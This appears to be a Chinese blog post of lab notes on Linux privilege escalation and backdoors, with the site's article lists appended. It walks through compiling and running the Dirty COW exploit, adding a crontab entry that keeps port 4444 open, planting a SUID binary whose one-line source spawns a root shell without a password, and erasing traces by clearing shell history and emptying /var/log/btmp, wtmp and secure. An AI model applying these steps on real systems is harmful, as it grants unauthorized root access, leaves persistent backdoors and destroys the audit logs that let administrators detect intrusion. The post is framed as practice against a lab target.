linux提权和后门植入

目录

1. 脏牛漏洞复现 3

(1) 去网上把代码复制然后touch一个.c文件,vi或者vim打开将代码复制进去保存 3

(2) 进入shell然后从kali开的apache服务上下载 3

(3) 编译1.c文件 3

(4) 执行文件 3

(5) 切换改写过后的管理员账户(成功提权) 4

2. crontab计划任务 4

(1) vim /etc/crontab进入编辑(前提是有管理员权限) 4

(2) 重启后4444端口在运行 4

(3) 可以控制 4

3. suid提权(前提成功提权过一次,相当于留提权留后门) 5

(1) 创建一个suid.c的文件 5

(2) 用wget下载suid 5

(3) gcc编译suid.c文件 5

(4) 修改suid的权限(将文件赋予执行该文件的以管理员身份执行改文件) 6

(5) 重启后的靶机可以直接执行./suid进行提权(不需要密码) 6

4. linux痕迹清除 6

(1) 仅清理当前用户: history -c 6

(2) 使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0 6

删除记录 6

(3) 删除登录失败记录:echo > /var/log/btmp 6

(4) 删除登录成功记录:echo > /var/log/wtmp (此时执行last命令就会发现没有记录)

(5) 删除日志记录:echo > /var/log/secure 7

1. 脏牛漏洞复现

(1) 去网上把代码复制然后touch一个.c文件,vi或者vim打开将代码复制进去保存

(不能在kali上直接wget下载https://github.com/FireFart/dirtycow/blob/master/dirty.c,因为这样会把整个网页下载下来(亲测))

(2) 进入shell然后从kali开的apache服务上下载

(3) 编译1.c文件


gcc -pthread1.c -o dirty -lcrypt                编译.c文件

(4) 执行文件


./dirty | ./dirty 自定义密码

测试完记得将备份的password.bak(原)覆盖过去

(5) 切换改写过后的管理员账户(成功提权)

2. crontab计划任务

(1) vim /etc/crontab进入编辑(前提是有管理员权限)

(2) 重启后4444端口在运行

(3) 可以控制

3. suid提权(前提成功提权过一次,相当于留提权留后门)

(1) 创建一个suid.c的文件(由于靶机太难编辑了,所以我kali编辑完后用wget下载过去)


#include<stdlib.h> main(){setuid(0);system(“/bin/bash”);}

(2) 用wget下载suid

(3) gcc编译suid.c文件


gcc suid.c -o suid

(4) 修改suid的权限(将文件赋予执行该文件的以管理员身份执行改文件)

(5) 重启后的靶机可以直接执行./suid进行提权(不需要密码)

4. linux痕迹清除

(1) 仅清理当前用户: history -c

(2) 使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0

删除记录

(3) 删除登录失败记录:echo > /var/log/btmp

(4) 删除登录成功记录:echo > /var/log/wtmp (此时执行last命令就会发现没有记录)

(5) 删除日志记录:echo > /var/log/secure

最新文章

  1. 1122从业务优化MYSQL
  2. Linux多线程服务端编程一些总结
  3. 去掉Mybatis Generator生成的一堆 example
  4. 纸上谈兵:堆(heap)
  5. {&quot;集合已修改;可能无法执行枚举操作。&quot;}
  6. java模式之-模板方法模式
  7. Python中国的学习方式处理问题
  8. hdu_5889_Barricade(最小割+最短路)
  9. 那么 Appium 到底是怎么工作的呢?
  10. HTML配色工具!在线配色工具
  11. 查找linux设备的uuid
  12. 使用TensorFlow构建自己的网络
  13. 用SoapUI 测试Web Service
  14. ArcEngine对Blob字段赋值的方法
  15. zabbix4.0LTS安装配置
  16. 服务器上如何再另外添加一个E盘
  17. BeanFactory与ApplicationContext
  18. Python基础笔记系列七:字符串定义和访问
  19. MySQL索引最左原则
  20. WPF简单模拟QQ登录背景动画(转)

热门文章

  1. Xnip Mac上方便好用的截图工具
  2. CN1,CN2 GT和CN2 GIA的区别
  3. 拜托,别再问我怎么自学 Java 了!和盘托出
  4. shell-变量的数值运算-bc-typeset-中括号等方法介绍
  5. Node.js安装及环境配置 for winer
  6. day64 Pyhton 框架Django 07
  7. 扫描仪扫描文件处理-A4分辨率
  8. spring boot:使用spring cache+caffeine做进程内缓存(本地缓存)(spring boot 2.3.1)
  9. socket php
  10. java axis调用带有soap头(soapheader)的.net webservice